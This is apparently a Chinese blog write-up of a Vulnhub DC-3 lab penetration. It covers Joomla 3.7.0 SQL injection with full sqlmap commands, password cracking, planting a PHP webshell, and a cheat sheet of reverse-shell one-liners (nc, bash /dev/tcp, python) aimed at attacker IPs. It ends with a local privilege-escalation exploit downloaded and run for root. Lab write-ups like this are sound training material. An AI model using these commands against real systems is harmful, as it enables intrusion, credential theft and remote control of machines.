dc-3 靶机渗透学习

靶机修复

dc-3靶机可能会存在扫不到靶机ip的问题,可以参考下面这篇博客解决,编辑网卡配置文件时命令有点错误。

vim /etc/network/interfacers

改成  

vim /etc/network/interfaces

Vulnhub靶机检测不到IP地址_阿帅start的博客-CSDN博客_靶机没有ip

信息收集

使用nmap对当前网段进行扫描

nmap -sP 192.168.202.0/24

在排除kali攻击机和物理机ip后,对192.168.202.132 、192.168.202.254分别进行扫描,发现ip末尾为132的主机为攻击机(过程省略了),对靶机进行端口服务扫描。 

nmap -A -p- -v 192.168.202.132

发现80端口开启,对靶机的80端口进行访问

 老规矩,上百度翻译,大概的意思是说只有一个flag,得通过获得root权限来拿到它。 

漏洞分析

那么使用nikto对该站点进行扫描,看一下有哪些漏洞或者文件

nikto -url http://192.168.202.132

可以发现有个index.php,意味爆出了Joomla,猜测该页面可能是Joomla框架,先去administrator/index.php看一下。

果然是joomla框架,其实也可以利用Wappalyzer对页面进行框架识别,在kali的火狐拓展搜索,安装后开启使用就行了。

知道是Joomla框架,用Joomla专门的CMS扫描器扫描

joomla --url http://192.168.202.132

扫描出来为joomla 3.7.0版本,进入msf找一下漏洞,尝试使用该漏洞打,发现没成功。

接着使用searchsploit试试

searchsploit joomla 3.7.0

 查看一下这个3.7.0的漏洞信息

searchsploit -x  php/webapps/42033.txt

根据漏洞描述,使用sqlmap来攻击

 查找全部的数据库,遇到选项一直按y就行

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

查找当前使用的数据库

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]

查找数据库中的表

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  --tables  -p list[fullordering]

查看#__users表里面的内容

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  -T '#__users' --columns  -p list[fullordering]

 查询username、password字段里面的内容

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  -T '#__users' -C 'username,password' --dump  -p list[fullordering]

得到后台密码后,先复制密码保存进1.txt,然后拿到john爆破一下

vim 1.txt   #按下Esc键后,输入:wq保存退出
cat 1.txt
john 1.txt 

 在第一次打的时候我已经爆破过了,如果爆破成功,john会对同一个爆破目标的结果有存档,再次爆破时不会显示出来。

登录后台

得到后台账号密码,登录靶机joomla框架的后台

admin

snoopy

在登录后台之后得想办法找到文件上传点、文件包含点.......来拿到webshell,经过寻找可以发现在Templates(模板)的Templates里可以自己创建php文件。

 

选择创建一个新文件,并且写入一句话木马

 

访问一下192.168.202.132发现文件不存在,那么肯定是路径不对

搜一下Joomla框架的模板路径

 再根据模板模块中的信息尝试一下就可以找到

shell.php的路径为

http://192.168.202.132/templates/beez3/html/shell.php

上面是个人的尝试,看一下别人搜到的路径

反弹shell

进入蚁剑进行连接

反弹shell是为了后面的提权做准备,不能使用蚁剑提权,因为HTTP是瞬时协议,我这边正提权呢,你那边TCP四次挥手断开连接了,不能持久连接,所以蚁剑的作用就在于上传文件来提权。

反弹shell总结

利用nc反弹shell
本地监听2333 端口
nc -lnvp 2333

服务端反弹(下面的ip为kali的ip)
nc -e /bin/bash 192.168.40.144 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.100 2333>/tmp/f(nc无 -e功能的时候)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.16.100 2333>/tmp/f
/bin/sh -i >& /dev/tcp/192.168.16.100/2333 0>&1

利用bash反弹shell
bash -i >& /dev/tcp/192.168.61.145/2222 0>&1

利用python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.72.141",444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在蚁剑处进入/bin/nc下查看,发现没有nc -e命令,所以上面有些姿势不能使用。

 经过测试,下面这个姿势可以使用,kali机使用nc -lvnp 8888监听端口

当二者连接之后,这个连接就是持久连接,只要kali机不主动断开,就可以长时间连接。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.202.129 8888>/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.202.129 8888>/tmp/f

提权

因为现在我们还是www-data权限,得想办法得到root权限,有两种办法。

第一种方法

获取当前操作系统的版本信息

cat /proc/version

 获取当前操作系统的发行版信息

cat /etc/issue

看到当前版本是Ubuntu 16.04, 去searchsploit寻找一下漏洞

searchsploit Ubuntu 16.04

 眼花缭乱的漏洞,该怎么选择呢?这就得依靠我们上面cat 得到的信息了

Linux version  4.4.0-21

Ubuntu 16.04

 通过第一个条件筛选,就剩下六个

再通过第二个条件过滤,只剩下最后四个

虽然还剩四个,但是也少了很多。因为c语言的脚本用起来麻烦一点,先看一下39772.txt这个,使用命令查看一下漏洞说明

searchsploit使用_Blankup的博客-CSDN博客_searchsploit使用方法

searchsploit -x linux/local/39772.txt

 它提示去github下载攻击压缩包,至于怎么去,懂的懂的,看看外面的世界

 https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

下载以后在蚁剑上传到有权限的文件夹中,好比/tmp是存放临时文件的,我有权限上传文件,上传会对其解压。

其实也可以在kali开启apache服务,上传39772.zip到kali上,然后在反弹shell的地方使用wget下载。

cd /tmp
ls
unzip 39772.zip
ls 

 一步步进入到文件用法中提到/ebpf_mapfd_doubleput的目录下

cd 39772
ls
tar xvf exploit.tar
ls
cd ebpf_mapfd_doubleput_exploit

然后赋予文件可执行权限......执行文件

ls
chmod +x compile.sh
./compile.sh
ls
chmod +x doubleput
./doubleput

 最后就是找flag就行了 

第二种方法

上传辅助脚本来发现存在哪里漏洞

 使用kali来操作

cd /tmp
ls -l power.sh    #查看是否有可执行权限
tmp$ chmod +x power.sh   #赋予可执行权限
./power.sh               #运行脚本

接着会发现一大堆漏洞

我这里以[CVE-2016-4557]为例,在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载,这里去seachsploit里面去看看

找到后进入查看就行了,使用方法还是和第一个一样。 

这篇文章的辅助脚本也差不多一样,下载linux的提权辅助,里面说了用法

渗透利器 | 提权辅助工具箱_Bypass--的博客-CSDN博客

提权学习之旅——Linux操作系统提权_Sn0w/的博客-CSDN博客_linux系统提权

参考文章

vulnhub之DC3靶机_lainwith的博客-CSDN博客

vulnhub-DC3靶机 - xinZa1

DC-3靶机 渗透测试_她叫常玉莹的博客-CSDN博客

Vulnhub靶机实战——DC-3_冠霖L的博客-CSDN博客_vulnhub靶机

  • 6
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值